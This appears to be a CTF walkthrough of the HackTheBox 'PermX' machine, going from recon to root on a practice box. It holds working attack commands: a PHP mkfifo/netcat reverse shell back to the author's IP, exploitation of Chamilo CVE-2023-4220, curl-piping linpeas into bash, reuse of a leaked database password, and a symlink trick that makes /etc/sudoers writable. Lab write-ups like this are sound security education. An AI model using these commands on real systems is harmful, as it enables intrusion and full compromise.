Title: PermX walkthrough
Author: sx02089
Date: November 2024

PermX

PermX is an easy rated Linux box on HackTheBox.com. Here's how it went down.

User

Start per usual with portscanning and bannergrabbing with nmap, and go from there.

Portscanning, bannergrabbing, service enumeration, etc.

This is the most interesting part of the nmap scan:

```
nmap -A -p- -n -vv --open -oA full 10.10.11.23
```

…

```
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Ki
j5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=
|   256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
```

Add permx.htb to /etc/hosts. This is a required step to be able to address permx.htb by name, as a DNS is not configured to do just that. /etc/hosts handles the mapping of name to IP address locally.

```
cat <<__EOF__>/etc/hosts
10.10.11.23 perm.htb
__EOF__
```

Vhost scanning

As only port 80 is open, which - by the way - is becoming more and more unusual these days, let's see if there are other virtual hosts configured within Apache. There are several tools available to do that. I'm using ffuf here below, inside a wrapper-script. Ffuf has a cool feature that allows it to fuzz almost any part of a text based protocol like HTTP by using the FUZZ keyword. It is used here to FUZZ the host-header, used to check for the existence of the name of the virtual host on the server. The wrapper hiding most of the arcane syntax and lengthy pathnames. So that if I ever have to return to this step, I won't be grepping through my command history to retrace my steps on how to do that :-)

Ffuf helper script for scanning virtual hosts:

```
#!/bin/bash

SCRIPT="$(basename $0 | sed 's/\..*$//')"

DOMAIN="$1"
IP="$2"
PROTONAME="${3:-http}"
WL="${4:-/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt}"
THREADS="${5:-20}"

ffuf -w "$WL" -u "${PROTONAME}://${IP}" -H "Host: FUZZ.${DOMAIN}" -mc 200 -v -c -ic -t
"${THREADS}" -o "${SCRIPT}.log"
```

This script can take up to 5 parameters:

1. Domainname (required, no default)
2. IP address (required, no default)
3. Protocol (optional, defaults to http)
4. Full pathname to wordlist (optional, defaults to subdomains-top1million-110000.txt from SecLists)
5. Threads running in parallel (optional, defaults to a mere 20)

Let’s rock!

```
# ~/bin/vhostscan.sh permx.htb 10.10.11.23

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.23
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-
110000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Output file      : vhostscan.log
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 20
 :: Matcher          : Response status: 200
________________________________________________

[Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 99ms]
| URL | http://10.10.11.23
    * FUZZ: www

[Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 128ms]
| URL | http://10.10.11.23
    * FUZZ: lms

[WARN] Caught keyboard interrupt (Ctrl-C)
```

Found a virtual host! Adding lms to /etc/hosts (if not already there) can be done as here below, leaving it as an exercise to the reader to make a nice wrapper-script for it :-)

```
grep -q 'lms\.permx\.htb' /etc/hosts || sed -i '/permx\.htb/s/$/\tlms.permx.htb/' /etc/hosts
```

Directory scan

Let’s see what lms has to hide and start a directory scan, again using ffuf (and again, there are many alternatives for directory scanning). As you may have guessed, this is not so very different from scanning for virtual hosts, but this time using the FUZZ keyword in the URL itself. Do notice that status codes 301 and 302 are added. This is to catch redirection to trailing slashes on the URL.

Ffuf helper script for directory scanning:

```
#!/bin/bash

SCRIPT="$(basename $0 | sed 's/\..*$//')"

DOMAIN="$1"
IP="$2"
PROTONAME="${3:-http}"
WL="${4:-/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt}"
THREADS="${5:-20}"

ffuf -w "$WL" -u "${PROTONAME}://${IP}/FUZZ" -H "Host: $DOMAIN" -mc 200,301,302 -v -c -ic -t
"${THREADS}" -o "${SCRIPT}.log"
```

Let’s do it!

```
# ~/bin/dirscan.sh lms.permx.htb 10.10.11.23

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.23/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-
medium.txt
 :: Header           : Host: lms.permx.htb
 :: Output file      : dirscan.log
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 20
 :: Matcher          : Response status: 200,301,302
________________________________________________

[Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 82ms]
| URL | http://10.10.11.23/main
| --> | http://lms.permx.htb/main/
    * FUZZ: main

[Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 82ms]
| URL | http://10.10.11.23/web
| --> | http://lms.permx.htb/web/
    * FUZZ: web

[Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 2376ms]
| URL | http://10.10.11.23/
    * FUZZ:

[Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 82ms]
| URL | http://10.10.11.23/documentation
| --> | http://lms.permx.htb/documentation/
    * FUZZ: documentation

[Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 84ms]
| URL | http://10.10.11.23/bin
| --> | http://lms.permx.htb/bin/
```

```
    * FUZZ: bin

[Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 81ms]
| URL | http://10.10.11.23/src
| --> | http://lms.permx.htb/src/
    * FUZZ: src

[Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 82ms]
| URL | http://10.10.11.23/app
| --> | http://lms.permx.htb/app/
    * FUZZ: app

[Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 82ms]
| URL | http://10.10.11.23/vendor
| --> | http://lms.permx.htb/vendor/
    * FUZZ: vendor

[WARN] Caught keyboard interrupt (Ctrl-C)
```

Identification of vulnerable software

Opening http://lms.permx.htb in a browser shows Chamilo, some LMS. Apparently it was installed with documentation, which can provide nice little details such as the version running. Browsing to http://lms.permx.htb/documentation/ hands us a changelog. This is Chamilo version 1.11.24.

Looking for proof-of-concept, exploit or documented exploits to vulnerabilities, I'd normally use searchsploit or metasploit, but in this particular case Google finds this:

https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit.git

This is a pretty bad one: An unauthenticated user is able to upload anything to the host, including PHP code which happens to be running the LMS itself. If that weren't bad enough: After uploading whatever PHP code it is possible to trigger that code, resulting in remote code execution.

Let's see this in action!

```
git clone https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit.git
```

Weaponization

The goal I'm aiming for is a reversed shell; An open session with the host that allows me to run whatever command I want. To do this I'm using my own variety of a "nc mkfifo" shell from https://revshells.com, spawned from PHP with passthru.

Creating a shell file, including bash voodoo to get my local IP address in there:

```
cat <<___EOF___>myshell.php
<?php passthru("mkfifo /tmp/0b1; nc $(ip -4 -o a sh dev tun0 | awk '{print $4}' | sed
's@/.*$@@') 1667 < /tmp/0b1 | /bin/bash > /tmp/0b1"); ?>
___EOF___
```

Notice that I'm using port 1667 to get my shell. Now run exploit:

```
# ./CVE-2023-4220.sh -f ./myshell.php -h http://lms.permx.htb/ -p 1667

The file has successfully been uploaded.

#    Use This leter For Interactive TTY ;)
#    python3 -c 'import pty;pty.spawn("/bin/bash")'
#    export TERM=xterm
#    CTRL + Z
#    stty raw -echo; fg

# Starting Reverse Shell On Port 1667 . . . . . . .

listening on [any] 1667 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.23] 58176
script -qc /bin/bash /dev/null
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami
<ilo/main/inc/lib/javascript/bigupload/files$ whoami
www-data
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ pwd
pwd
/var/www/chamilo/main/inc/lib/javascript/bigupload/files
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ uname -a
<o/main/inc/lib/javascript/bigupload/files$ uname -a
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64
x86_64 GNU/Linux
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ cat /etc/passwd |
grep 'sh$'
<ript/bigupload/files$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$
```

Worked like a charm. Stubborn as I am, I'm not using the python3 -c blabla, but opted to go with `script -qc /bin/bash /dev/null`, less typing! Not depending on python! Same result!

Privilege escalation

Now, as you can see, www-data is still not a regular user. I quickly scanned for users on this box that have an actual shell with `cat /etc/passwd | grep 'sh$'`. Let's keep those in mind.

Since looking for privilege escalation is beyond the capacity of my brain to memorize, let's us a tool to do that. Download the latest and greatest linpeas https://github.com/peass-ng/PEASS-ng/releases/download/20240707-68b6f322/linpeas.sh

First. Serve linpeas from my local box on port 80, using `python -m http.server 80`

```
# python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.23 - - [14/Jul/2024 17:39:37] "GET /linpeas.sh HTTP/1.1" 200 -
```

Next on the victim machine, as www-data, execute linpeas. This below also creates a log in /tmp as linp.log:

```
curl -s http://10.10.14.4/linpeas.sh | bash 2>&1 | tee /tmp/linp.log
```

There’s a ton of information from linpeas. This here is the most interesting stuff, a database password in Linpeas’ output!

```
╔══════════╣ Searching passwords in config PHP files
'show_password_field' => false,
'show_password_field' => true,
'wget_password' => '',
'force_different_password' => false,
$_configuration['auth_password_links'] = [
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
$_configuration['password_encryption'] = 'bcrypt';
/*$_configuration['password_requirements'] = [
//$_configuration['email_template_subscription_to_session_confirmation_lost_password'] =
false;
//$_configuration['force_renew_password_at_first_login'] = true;
//$_configuration['password_conversion'] = false;
'password' => $_configuration['db_password'],
$form->addElement('password', 'pass1', get_lang('Pass'), ['size' => 40, 'disabled' =>
'disabled']);
```

…

It took me quite a while to figure this out (GG), but it’s possible to use the plaintext db_password to login as mtz using ssh! Yep, that’s password-reuse… Epic! Here below added a cat command to ssh to grab the flag:

```
ssh mtz@10.10.11.23 cat /home/mtz/user.txt
```

Root

Log in as mtz on 10.10.11.23.

sudo

Notice sudo. Rerunning linpeas would also tell you this:

```
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
```

What’s in /opt/acl.sh:

```
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
```

So /opt/acl.sh can be executed by mtz as root using sudo. Notice that setfacl is executed if these conditions are met:

1. Target pathname should start with “/home/mtz”
2. Must not contain “..” anywhere, and last
3. Pass the -f test.

Wait, what?

Read `man [`, did you know that the ‘[’ in the if statement is actually the same as ‘test’?

Anyway, let’s “test” and see what the -f test means. Will it pass a symlink?

```
# ls -al /init*
lrwxrwxrwx 1 root root 28 Jun 15 17:46 /initrd.img -> boot/initrd.img-6.8.11-amd64
lrwxrwxrwx 1 root root 28 Jun 15 17:46 /initrd.img.old -> boot/initrd.img-6.6.15-amd64

# test -f ./initrd.img && echo yep || echo noooo
yep
```

Bingo!

Creating a symlink attack

This script is vulnerable to a symlink attack. It is possible to create a symbolic link inside /home/mtz pointing to ANY file on the box. Using setfacl to grant permissions on that link to write in THAT file!

In /home/mtz run:

1. `ln -s /etc/sudoers` to create a symbolic link to /etc/sudoers.
2. `sudo /opt/acl.sh mtz rw /home/mtz/sudoers` to allow write permissions as root on that symlink.
3. `echo 'mtz ALL = NOPASSWD: ALL' >> sudoers` to add the user mtz and allow unrestricted access to the root account.
4. `sudo bash` to get root!

Game over!

```
cat /root/root.txt
```

Epilogue

Congratulations if you read this far. PermX is a nice box with lots of possiblities to look for entrypoints and to dive into; XSS, SQLi, Weak passwords, etc. How to know what to look for is still an art and it probably will be for a few more years for AI to catch up on this game. As said, running a website on plain port 80 is becoming unusual and today is merely done for testing purposes. SSH for remote management is in widespread use, including password authentication as fall-back if keys don't work. And thus password-reuse. As I have personally witnessed decades old systems running production, I can fairly confidently say that Chamilo was not that outdated. If this all was served on https, then this box would be a pretty realistic scenario for the user part. Root was a tad bit artificial as it had no real purpose on the host other than to be exploitable. There are other symlinks attacks to get to root with /opt/acl.sh! There's still room to toy around! Have fun!

/sx02089